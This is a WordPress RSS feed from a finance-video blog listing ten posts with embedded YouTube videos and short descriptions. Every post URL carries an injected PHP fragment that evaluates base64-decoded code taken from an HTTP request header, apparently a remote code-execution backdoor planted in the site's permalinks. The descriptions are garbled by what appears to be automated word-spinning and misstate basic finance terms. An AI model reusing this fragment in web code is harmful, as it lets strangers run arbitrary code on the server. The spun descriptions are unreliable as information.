<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	>

<channel>
	<title>TheMispricing</title>
	<atom:link href="http://www.themispricing.com/feed/" rel="self" type="application/rss+xml" />
	<link>http://www.themispricing.com</link>
	<description>Mispricing = &#124; Intrinsic Value – Current Price &#124; &#62; 0</description>
	<pubDate>Fri, 03 Sep 2010 20:02:21 +0000</pubDate>
	<generator>http://wordpress.org/?v=2.7</generator>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<xhtml:meta xmlns:xhtml="http://www.w3.org/1999/xhtml" name="robots" content="noindex" />
		<item>
		<title>&#8220;Investment Education&#8221; Dow Jones Breaks 10000 Monthly Bear Market Sell Signal 2010 &#8220;DOW 10000&#8243;</title>
		<link>http://www.themispricing.com/2010/09/03/investment-education-dow-jones-breaks-10000-monthly-bear-market-sell-signal-2010-dow-10000/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/</link>
		<comments>http://www.themispricing.com/2010/09/03/investment-education-dow-jones-breaks-10000-monthly-bear-market-sell-signal-2010-dow-10000/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/#comments</comments>
		<pubDate>Fri, 03 Sep 2010 20:02:21 +0000</pubDate>
		<dc:creator>KC</dc:creator>
		
		<category><![CDATA[Finance in Video]]></category>

		<category><![CDATA[2010 Trade]]></category>

		<category><![CDATA[analysis]]></category>

		<category><![CDATA[bear market]]></category>

		<category><![CDATA[commentary]]></category>

		<category><![CDATA[dow jones industrial average]]></category>

		<category><![CDATA[dow jones video]]></category>

		<category><![CDATA[economic]]></category>

		<category><![CDATA[economy]]></category>

		<category><![CDATA[index video]]></category>

		<category><![CDATA[index videos]]></category>

		<category><![CDATA[INVESTING]]></category>

		<category><![CDATA[investment]]></category>

		<category><![CDATA[Investment Educationdow index]]></category>

		<category><![CDATA[Monthly Bear Market]]></category>

		<category><![CDATA[recession]]></category>

		<category><![CDATA[research]]></category>

		<category><![CDATA[Sell Signal]]></category>

		<category><![CDATA[Stock Market]]></category>

		<category><![CDATA[trading video]]></category>

		<category><![CDATA[Trend]]></category>

		<category><![CDATA[video]]></category>

		<category><![CDATA[Videos]]></category>

		<guid isPermaLink="false">http://www.themispricing.com/2010/09/03/investment-education-dow-jones-breaks-10000-monthly-bear-market-sell-signal-2010-dow-10000/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/</guid>
		<description><![CDATA[
www.StockMarketFunding.com &#8220;Investment Education&#8221; &#8220;DOW 10000&#8243; Dow Jones Breaks 10000 Recession Continues Monthly Bear Market Sell Signal 2010 Trade Stock Market Decline Dow Jones Technical Analysis &#038; Market Commentary Nasdaq, S&#038;P 500 Bear Market Double Bear Reversal US bonds open reduce Nasdaq 100. Will The Dow Jones Crash? Wall Street Falls a Dow Jones index breaks [...]]]></description>
			<content:encoded><![CDATA[<p><object width="425" height="355"><param name="movie" value="http://www.youtube.com/v/1dPYC5NO9qg?f=videos&#038;app=youtube_gdata"></param><param name="wmode" value="transparent"></param><embed src="http://www.youtube.com/v/1dPYC5NO9qg?f=videos&#038;app=youtube_gdata" type="application/x-shockwave-flash" wmode="transparent" width="425" height="355"></embed></object></p>
<p>www.StockMarketFunding.com &#8220;Investment Education&#8221; &#8220;DOW 10000&#8243; Dow Jones Breaks 10000 Recession Continues Monthly Bear Market Sell Signal 2010 Trade Stock Market Decline Dow Jones Technical Analysis &#038; Market Commentary Nasdaq, S&#038;P 500 Bear Market Double Bear Reversal US bonds open reduce Nasdaq 100. Will The Dow Jones Crash? Wall Street Falls a Dow Jones index breaks pass levels. The Dow Jones industrial marketplace is down as well as looks to go upon to conduct which direction. Wall Street, Dow Jones Average Sinks Below 10000 as &#8220;DOW 10000&#8243; is breached. Online trade explanation supposing by thirty year vetran merchant Mario Marciano Chief Financial Analyst &#038; Chief Market Forecaster during &#8220;Stock Market Funding&#8221; Stock Market Talk Radio Show http Follow us upon Twitter: www.twitter.com Follow us upon Facebook: www.facebook.com Free Trial Signup onlinetradinginvesting.eventbrite.com Video Alert Signup http Trading Community (Free to Join) www.DailyStockCharts.com</p>
]]></content:encoded>
			<wfw:commentRss>http://www.themispricing.com/2010/09/03/investment-education-dow-jones-breaks-10000-monthly-bear-market-sell-signal-2010-dow-10000/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/feed/</wfw:commentRss>
		</item>
		<item>
		<title>www.cprofit.com - equipment leasing vs buying</title>
		<link>http://www.themispricing.com/2010/09/03/wwwcprofitcom-equipment-leasing-vs-buying/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/</link>
		<comments>http://www.themispricing.com/2010/09/03/wwwcprofitcom-equipment-leasing-vs-buying/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/#comments</comments>
		<pubDate>Fri, 03 Sep 2010 15:22:03 +0000</pubDate>
		<dc:creator>KC</dc:creator>
		
		<category><![CDATA[Finance in Video]]></category>

		<category><![CDATA[bad credit ok]]></category>

		<category><![CDATA[equipment leasing vs buying]]></category>

		<category><![CDATA[startup leasing finance]]></category>

		<guid isPermaLink="false">http://www.themispricing.com/2010/09/03/wwwcprofitcom-equipment-leasing-vs-buying/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/</guid>
		<description><![CDATA[
Equipment leasing vs buying: get 0 to 0000 apparatus but impacting credit, keep your operative capital, good from taxation advantages
]]></description>
			<content:encoded><![CDATA[<p><object width="425" height="355"><param name="movie" value="http://www.youtube.com/v/XklEfRUHPiM?f=videos&#038;app=youtube_gdata"></param><param name="wmode" value="transparent"></param><embed src="http://www.youtube.com/v/XklEfRUHPiM?f=videos&#038;app=youtube_gdata" type="application/x-shockwave-flash" wmode="transparent" width="425" height="355"></embed></object></p>
<p>Equipment leasing vs buying: get 0 to 0000 apparatus but impacting credit, keep your operative capital, good from taxation advantages</p>
]]></content:encoded>
			<wfw:commentRss>http://www.themispricing.com/2010/09/03/wwwcprofitcom-equipment-leasing-vs-buying/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/feed/</wfw:commentRss>
		</item>
		<item>
		<title>ALIS Summer Update Hotel Investment Conference - 2009 Highlights</title>
		<link>http://www.themispricing.com/2010/09/03/alis-summer-update-hotel-investment-conference-2009-highlights/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/</link>
		<comments>http://www.themispricing.com/2010/09/03/alis-summer-update-hotel-investment-conference-2009-highlights/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/#comments</comments>
		<pubDate>Fri, 03 Sep 2010 08:04:35 +0000</pubDate>
		<dc:creator>KC</dc:creator>
		
		<category><![CDATA[Finance in Video]]></category>

		<category><![CDATA[ALIS]]></category>

		<category><![CDATA[commentary]]></category>

		<category><![CDATA[Conference]]></category>

		<category><![CDATA[discussion]]></category>

		<category><![CDATA[economy]]></category>

		<category><![CDATA[environment]]></category>

		<category><![CDATA[Hotel]]></category>

		<category><![CDATA[interview]]></category>

		<category><![CDATA[investment]]></category>

		<category><![CDATA[news]]></category>

		<category><![CDATA[presenter]]></category>

		<category><![CDATA[speech]]></category>

		<category><![CDATA[talk]]></category>

		<category><![CDATA[tourism]]></category>

		<guid isPermaLink="false">http://www.themispricing.com/2010/09/03/alis-summer-update-hotel-investment-conference-2009-highlights/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/</guid>
		<description><![CDATA[
www.ALISconference.com ALIS Summer Update 2009, featuring tip road house investment leaders upon condition that their insights upon what is subsequent for a industry. The 2010 eventuality is Jul 13, 2010 in Los Angeles.
]]></description>
			<content:encoded><![CDATA[<p><object width="425" height="355"><param name="movie" value="http://www.youtube.com/v/CgfEpQrra4w?f=videos&#038;app=youtube_gdata"></param><param name="wmode" value="transparent"></param><embed src="http://www.youtube.com/v/CgfEpQrra4w?f=videos&#038;app=youtube_gdata" type="application/x-shockwave-flash" wmode="transparent" width="425" height="355"></embed></object></p>
<p>www.ALISconference.com ALIS Summer Update 2009, featuring tip road house investment leaders upon condition that their insights upon what is subsequent for a industry. The 2010 eventuality is Jul 13, 2010 in Los Angeles.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.themispricing.com/2010/09/03/alis-summer-update-hotel-investment-conference-2009-highlights/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/feed/</wfw:commentRss>
		</item>
		<item>
		<title>SEEDS, Sri Lanka, Micro-finance for solar pv lighting - Ashden Award winner</title>
		<link>http://www.themispricing.com/2010/09/03/seeds-sri-lanka-micro-finance-for-solar-pv-lighting-ashden-award-winner/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/</link>
		<comments>http://www.themispricing.com/2010/09/03/seeds-sri-lanka-micro-finance-for-solar-pv-lighting-ashden-award-winner/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/#comments</comments>
		<pubDate>Fri, 03 Sep 2010 04:30:08 +0000</pubDate>
		<dc:creator>KC</dc:creator>
		
		<category><![CDATA[Finance in Video]]></category>

		<category><![CDATA[ashden]]></category>

		<category><![CDATA[Awards]]></category>

		<category><![CDATA[electric]]></category>

		<category><![CDATA[electricity]]></category>

		<category><![CDATA[energy]]></category>

		<category><![CDATA[lanka]]></category>

		<category><![CDATA[lighting]]></category>

		<category><![CDATA[Micro Finance]]></category>

		<category><![CDATA[Power]]></category>

		<category><![CDATA[PV]]></category>

		<category><![CDATA[Renewable]]></category>

		<category><![CDATA[SEEDS]]></category>

		<category><![CDATA[Solar]]></category>

		<category><![CDATA[sri]]></category>

		<category><![CDATA[sustainable]]></category>

		<guid isPermaLink="false">http://www.themispricing.com/2010/09/03/seeds-sri-lanka-micro-finance-for-solar-pv-lighting-ashden-award-winner/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/</guid>
		<description><![CDATA[
This video can be downloaded here: www.ashdenawards.org SEEDS won an Ashden Award for Sustainable Energy in 2006. To find out some-more revisit the couple upon top of as well as check out the Ashden Awards Blog ashdenawards.blogspot.com Sarvodaya Economic Enterprise Development Services (SEEDS) has financed the designation of around 52000 solar home systems (SHSs) in [...]]]></description>
			<content:encoded><![CDATA[<p><object width="425" height="355"><param name="movie" value="http://www.youtube.com/v/R3Je4sFG4n0?f=videos&#038;app=youtube_gdata"></param><param name="wmode" value="transparent"></param><embed src="http://www.youtube.com/v/R3Je4sFG4n0?f=videos&#038;app=youtube_gdata" type="application/x-shockwave-flash" wmode="transparent" width="425" height="355"></embed></object></p>
<p>This video can be downloaded here: www.ashdenawards.org SEEDS won an Ashden Award for Sustainable Energy in 2006. To find out some-more revisit the couple upon top of as well as check out the Ashden Awards Blog ashdenawards.blogspot.com Sarvodaya Economic Enterprise Development Services (SEEDS) has financed the designation of around 52000 solar home systems (SHSs) in farming areas of Sri Lanka. Grid physical phenomenon extends to about 55% of Sri Lanka&#8217;s population, though to usually 40% in farming areas. The infrastructure is progressively being extended; though there is the necessity of generating capacity, since the era of appetite has not increasing to the single side an ever-increasing demand. The normal farming family in Sri Lanka spends 19% of their income upon energy, as well as most can means off-grid physical phenomenon with the befitting credit system. SEEDS functions by accredited solar installers to brand intensity loan customers. These loans capacitate bad households in farming areas to squeeze SHSs, as well as embrace the benefits of softened light, communications as well as entertainment. The monthly repayments have been set during the rate that the domicile can means to pay, as well as the loans have been paid behind over the duration of the single to 4 years. Local margin officers in use by SEEDS pick up monthly repayments, as well as additionally lift out checks as well as teenager repairs to the systems. SEEDS has financed the designation of around 52000 SHSs (out of the sum of 71000 commissioned in Sri Lanka) since 1998. It has additionally commissioned thirteen micro-hydro schemes in farming areas as well as has since <b>&#8230;</b></p>
]]></content:encoded>
			<wfw:commentRss>http://www.themispricing.com/2010/09/03/seeds-sri-lanka-micro-finance-for-solar-pv-lighting-ashden-award-winner/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/feed/</wfw:commentRss>
		</item>
		<item>
		<title>Event Introduction video for Investment Company Institute</title>
		<link>http://www.themispricing.com/2010/09/02/event-introduction-video-for-investment-company-institute/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/</link>
		<comments>http://www.themispricing.com/2010/09/02/event-introduction-video-for-investment-company-institute/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/#comments</comments>
		<pubDate>Thu, 02 Sep 2010 18:59:28 +0000</pubDate>
		<dc:creator>KC</dc:creator>
		
		<category><![CDATA[Finance in Video]]></category>

		<guid isPermaLink="false">http://www.themispricing.com/2010/09/02/event-introduction-video-for-investment-company-institute/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/</guid>
		<description><![CDATA[
Investment Company Institute, Investors, Education, Retirement, Caring for Family, New Home, 401K
]]></description>
			<content:encoded><![CDATA[<p><object width="425" height="355"><param name="movie" value="http://www.youtube.com/v/4r0qvMcM3bc?f=videos&#038;app=youtube_gdata"></param><param name="wmode" value="transparent"></param><embed src="http://www.youtube.com/v/4r0qvMcM3bc?f=videos&#038;app=youtube_gdata" type="application/x-shockwave-flash" wmode="transparent" width="425" height="355"></embed></object></p>
<p>Investment Company Institute, Investors, Education, Retirement, Caring for Family, New Home, 401K</p>
]]></content:encoded>
			<wfw:commentRss>http://www.themispricing.com/2010/09/02/event-introduction-video-for-investment-company-institute/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/feed/</wfw:commentRss>
		</item>
		<item>
		<title>Finance &#038; Accounting for the Non-Financial Executive (FANE)</title>
		<link>http://www.themispricing.com/2010/09/02/finance-accounting-for-the-non-financial-executive-fane/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/</link>
		<comments>http://www.themispricing.com/2010/09/02/finance-accounting-for-the-non-financial-executive-fane/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/#comments</comments>
		<pubDate>Thu, 02 Sep 2010 17:43:59 +0000</pubDate>
		<dc:creator>KC</dc:creator>
		
		<category><![CDATA[Finance in Video]]></category>

		<category><![CDATA[Accounting]]></category>

		<category><![CDATA[Business]]></category>

		<category><![CDATA[education]]></category>

		<category><![CDATA[Executive]]></category>

		<category><![CDATA[finance]]></category>

		<category><![CDATA[Leeds]]></category>

		<category><![CDATA[Leeds Cathleen Burns]]></category>

		<category><![CDATA[of]]></category>

		<category><![CDATA[School]]></category>

		<guid isPermaLink="false">http://www.themispricing.com/2010/09/02/finance-accounting-for-the-non-financial-executive-fane/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/</guid>
		<description><![CDATA[
Cathleen Burns upon training monetary as well as accounting for a non-executive. Learn More: leeds.colorado.edu Leeds expertise part of as well as march personality describes because FANE can be a vicious square to your as well as your company&#8217;s success. FANE is a three-day convention which provides participants with a plain bargain of how monetary [...]]]></description>
			<content:encoded><![CDATA[<p><object width="425" height="355"><param name="movie" value="http://www.youtube.com/v/81FHmy2aS0U?f=videos&#038;app=youtube_gdata"></param><param name="wmode" value="transparent"></param><embed src="http://www.youtube.com/v/81FHmy2aS0U?f=videos&#038;app=youtube_gdata" type="application/x-shockwave-flash" wmode="transparent" width="425" height="355"></embed></object></p>
<p>Cathleen Burns upon training monetary as well as accounting for a non-executive. Learn More: leeds.colorado.edu Leeds expertise part of as well as march personality describes because FANE can be a vicious square to your as well as your company&#8217;s success. FANE is a three-day convention which provides participants with a plain bargain of how monetary interpretation is generated as well as reported, as well as how a interpretation is used for decision-making, analysis, as well as valuation. This march is quite utilitarian for managers as well as management team who need to review as well as appreciate corporate monetary statements, as well as who would similar to to sense some-more about how their decisions start a &#8220;bottom line.&#8221;</p>
]]></content:encoded>
			<wfw:commentRss>http://www.themispricing.com/2010/09/02/finance-accounting-for-the-non-financial-executive-fane/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/feed/</wfw:commentRss>
		</item>
		<item>
		<title>How to Spot the 5 Persuasion Tactics Used in Investment Fraud</title>
		<link>http://www.themispricing.com/2010/09/02/how-to-spot-the-5-persuasion-tactics-used-in-investment-fraud/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/</link>
		<comments>http://www.themispricing.com/2010/09/02/how-to-spot-the-5-persuasion-tactics-used-in-investment-fraud/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/#comments</comments>
		<pubDate>Thu, 02 Sep 2010 08:11:16 +0000</pubDate>
		<dc:creator>KC</dc:creator>
		
		<category><![CDATA[Finance in Video]]></category>

		<category><![CDATA[credentials]]></category>

		<category><![CDATA[FINRA]]></category>

		<category><![CDATA[fraud]]></category>

		<category><![CDATA[investment]]></category>

		<category><![CDATA[lunch]]></category>

		<category><![CDATA[persuasion]]></category>

		<category><![CDATA[recognize]]></category>

		<category><![CDATA[SEC]]></category>

		<category><![CDATA[spot]]></category>

		<category><![CDATA[tactics]]></category>

		<guid isPermaLink="false">http://www.themispricing.com/2010/09/02/how-to-spot-the-5-persuasion-tactics-used-in-investment-fraud/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/</guid>
		<description><![CDATA[
Investment rascal criminals make use of the far-reaching form of worldly as well as rarely in effect strategy to get people to partial with their money. Learn how to mark those techniques &#8212; as well as assistance strengthen not only yourself, though friends, neighbors, as well as family members.
]]></description>
			<content:encoded><![CDATA[<p><object width="425" height="355"><param name="movie" value="http://www.youtube.com/v/EkYO978Yy8c?f=videos&#038;app=youtube_gdata"></param><param name="wmode" value="transparent"></param><embed src="http://www.youtube.com/v/EkYO978Yy8c?f=videos&#038;app=youtube_gdata" type="application/x-shockwave-flash" wmode="transparent" width="425" height="355"></embed></object></p>
<p>Investment rascal criminals make use of the far-reaching form of worldly as well as rarely in effect strategy to get people to partial with their money. Learn how to mark those techniques &#8212; as well as assistance strengthen not only yourself, though friends, neighbors, as well as family members.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.themispricing.com/2010/09/02/how-to-spot-the-5-persuasion-tactics-used-in-investment-fraud/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/feed/</wfw:commentRss>
		</item>
		<item>
		<title>Finance Stock &#038; Bond Valuation</title>
		<link>http://www.themispricing.com/2010/09/02/finance-stock-bond-valuation/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/</link>
		<comments>http://www.themispricing.com/2010/09/02/finance-stock-bond-valuation/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/#comments</comments>
		<pubDate>Thu, 02 Sep 2010 04:31:08 +0000</pubDate>
		<dc:creator>KC</dc:creator>
		
		<category><![CDATA[Finance in Video]]></category>

		<guid isPermaLink="false">http://www.themispricing.com/2010/09/02/finance-stock-bond-valuation/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/</guid>
		<description><![CDATA[
Description of how holds as well as holds have been valued
]]></description>
			<content:encoded><![CDATA[<p><object width="425" height="355"><param name="movie" value="http://www.youtube.com/v/gQTMzHYn2hI?f=videos&#038;app=youtube_gdata"></param><param name="wmode" value="transparent"></param><embed src="http://www.youtube.com/v/gQTMzHYn2hI?f=videos&#038;app=youtube_gdata" type="application/x-shockwave-flash" wmode="transparent" width="425" height="355"></embed></object></p>
<p>Description of how holds as well as holds have been valued</p>
]]></content:encoded>
			<wfw:commentRss>http://www.themispricing.com/2010/09/02/finance-stock-bond-valuation/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/feed/</wfw:commentRss>
		</item>
		<item>
		<title>Return On Investment Calculator Training</title>
		<link>http://www.themispricing.com/2010/09/01/return-on-investment-calculator-training/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/</link>
		<comments>http://www.themispricing.com/2010/09/01/return-on-investment-calculator-training/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/#comments</comments>
		<pubDate>Wed, 01 Sep 2010 18:50:31 +0000</pubDate>
		<dc:creator>KC</dc:creator>
		
		<category><![CDATA[Finance in Video]]></category>

		<category><![CDATA[calculator]]></category>

		<category><![CDATA[internal rate of return]]></category>

		<category><![CDATA[irr]]></category>

		<category><![CDATA[net present value]]></category>

		<category><![CDATA[npv()]]></category>

		<category><![CDATA[payback]]></category>

		<category><![CDATA[return on investment]]></category>

		<category><![CDATA[ROI]]></category>

		<category><![CDATA[roi calculator]]></category>

		<category><![CDATA[setpoint]]></category>

		<category><![CDATA[systems]]></category>

		<guid isPermaLink="false">http://www.themispricing.com/2010/09/01/return-on-investment-calculator-training/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/</guid>
		<description><![CDATA[
How do we work out lapse upon investment? Need to remonstrate your monetary people which your industrialisation plan should be a go? Don&#8217;t win them over with a benefits of automation: increasing peculiarity as well as potency of product assembly, testing, or investigation processes. Win them over with a Net Present Value, Payback (in years), [...]]]></description>
			<content:encoded><![CDATA[<p><object width="425" height="355"><param name="movie" value="http://www.youtube.com/v/0cpfeIOEvyM?f=videos&#038;app=youtube_gdata"></param><param name="wmode" value="transparent"></param><embed src="http://www.youtube.com/v/0cpfeIOEvyM?f=videos&#038;app=youtube_gdata" type="application/x-shockwave-flash" wmode="transparent" width="425" height="355"></embed></object></p>
<p>How do we work out lapse upon investment? Need to remonstrate your monetary people which your industrialisation plan should be a go? Don&#8217;t win them over with a benefits of automation: increasing peculiarity as well as potency of product assembly, testing, or investigation processes. Win them over with a Net Present Value, Payback (in years), as well as Internal Rate of Return.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.themispricing.com/2010/09/01/return-on-investment-calculator-training/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/feed/</wfw:commentRss>
		</item>
		<item>
		<title>Finance Future Value</title>
		<link>http://www.themispricing.com/2010/09/01/finance-future-value/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/</link>
		<comments>http://www.themispricing.com/2010/09/01/finance-future-value/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/#comments</comments>
		<pubDate>Wed, 01 Sep 2010 16:31:35 +0000</pubDate>
		<dc:creator>KC</dc:creator>
		
		<category><![CDATA[Finance in Video]]></category>

		<category><![CDATA["College]]></category>

		<category><![CDATA[ap]]></category>

		<category><![CDATA[cash flows]]></category>

		<category><![CDATA[compound]]></category>

		<category><![CDATA[compound interest]]></category>

		<category><![CDATA[educational]]></category>

		<category><![CDATA[educational videos]]></category>

		<category><![CDATA[English]]></category>

		<category><![CDATA[ESL]]></category>

		<category><![CDATA[finance]]></category>

		<category><![CDATA[future value]]></category>

		<category><![CDATA[ged]]></category>

		<category><![CDATA[high school]]></category>

		<category><![CDATA[instruction]]></category>

		<category><![CDATA[instructional]]></category>

		<category><![CDATA[Interest]]></category>

		<category><![CDATA[Middle]]></category>

		<category><![CDATA[Prep]]></category>

		<category><![CDATA[sat]]></category>

		<category><![CDATA[School]]></category>

		<category><![CDATA[studio4learning]]></category>

		<category><![CDATA[studybeat]]></category>

		<category><![CDATA[test]]></category>

		<category><![CDATA[tutorial]]></category>

		<category><![CDATA[tutorial videos]]></category>

		<category><![CDATA[video]]></category>

		<category><![CDATA[Videos]]></category>

		<guid isPermaLink="false">http://www.themispricing.com/2010/09/01/finance-future-value/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/</guid>
		<description><![CDATA[
Explanation of a judgment of destiny worth in finance
]]></description>
			<content:encoded><![CDATA[<p><object width="425" height="355"><param name="movie" value="http://www.youtube.com/v/BcFO3ud4kbI?f=videos&#038;app=youtube_gdata"></param><param name="wmode" value="transparent"></param><embed src="http://www.youtube.com/v/BcFO3ud4kbI?f=videos&#038;app=youtube_gdata" type="application/x-shockwave-flash" wmode="transparent" width="425" height="355"></embed></object></p>
<p>Explanation of a judgment of destiny worth in finance</p>
]]></content:encoded>
			<wfw:commentRss>http://www.themispricing.com/2010/09/01/finance-future-value/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/feed/</wfw:commentRss>
		</item>
	</channel>
</rss>
<!-- WP Super Cache is installed but broken. The path to wp-cache-phase1.php in wp-content/advanced-cache.php must be fixed! -->